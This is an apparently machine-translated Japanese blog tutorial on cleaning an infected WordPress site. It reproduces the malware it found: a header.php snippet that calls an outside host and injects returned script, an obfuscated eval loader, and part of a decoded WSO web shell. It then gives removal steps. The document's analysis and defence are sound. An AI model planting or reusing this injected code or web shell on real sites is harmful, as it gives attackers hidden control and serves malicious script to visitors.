このチュートリアルでは、ブログの特定のケースを紹介します。 WordPress 感染していました。 除去 WordPress PHP ウイルス。
先日、PHP ウイルスと思われる不審なコードに気づきました。 WordPress。 次の PHP コードが存在していました。 header.php
、行の前に </head>
.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
これは外部サーバーからリソースのコンテンツを取得しようとしているように見える PHP コードですが、URL を参照する部分が不完全です。
動作メカニズムはもう少し複雑で、次のようになります。 WordPress PHP ウイルスは影響を受けるサイトの訪問者には見えません。 代わりに、検索エンジン (Google) をターゲットにし、影響を受ける Web サイトへの訪問者数の大幅な減少を暗黙的に引き起こします。
キュプリン
マルウェアの詳細 WordPress PHPウイルス
1. 上記のコードは次の場所にあります。 header.php
.
2. ファイルがサーバー上に現れました wp-log.php
フォルダ内に wp-includes
.
3. wp-log.php
暗号化されたコードが含まれていますが、復号化は比較的簡単です。
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
マルウェアコードを復号化する wp-log.php
:
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
これは、サーバー上のファイルとディレクトリに対する認証とアクションを処理するコードを含む悪意のある PHP スクリプトであると考えられます。 このスクリプトには次のような変数が含まれていることが簡単にわかります。 $auth_pass
(認証パスワード)、 $default_action
(デフォルトのアクション)、 $default_use_ajax
(デフォルトで Ajax を使用) および $default_charset
(デフォルトの文字設定)。
明らかに、このスクリプトには、HTTP ユーザー エージェントをチェックして、検索エンジンなどの特定の Web ボットへのアクセスをブロックするセクションがあります。 また、PHP セキュリティ モードをチェックし、特定の作業ディレクトリを設定するセクションもあります。
4. ブラウザで wp-log.php にアクセスすると、次のフィールドを含む Web ページが表示されます。 認証。 一見すると、これは新しいファイルをターゲットサーバーに簡単にアップロードできるファイルマネージャーのように見えます。
Web サイトのウイルスを除去するにはどうすればよいですか WordPress?
手動のウイルス対策プロセスでは常に、最初に脆弱性が何であるかを発見して理解する必要があります。
1. Web サイト全体のバックアップを生成します。 これには、ファイルとデータベースの両方が含まれている必要があります。
2. ウイルスが存在し続けているおおよその期間を特定し、おおよその期間内に Web サーバーで変更されたファイルまたは新しく作成されたファイルを検索します。
たとえば、ファイルを見たい場合は、 .php
先週作成または変更された場合は、サーバーでコマンドを実行します。
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
ファイルを発見できる簡単な方法です WordPress 感染したものやマルウェアコードが含まれているもの。
3. ファイルを確認する .htaccess
疑わしい指令の。 許可行またはスクリプトの実行。
4. データベースを確認します。 一部の投稿やページが WordPress マルウェアまたは新しいものが追加されて編集される の役割を持つユーザー administrator.
5. フォルダーとファイルの書き込み権限を確認します。 chmod
シ chown
.
推奨されるアクセス許可は、ファイルの場合は 644、ディレクトリの場合は 755 です。
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. すべて更新 WordPress Plugins / WordPress Themes.
関連する Fix Redirect WordPress Hack 2023 (Virus Redirect)
これらは、Web サイト/ブログのウイルスを駆除できる「基本的な」方法です。 WordPress。 問題があり、サポートが必要な場合は、コメントセクションが開いています。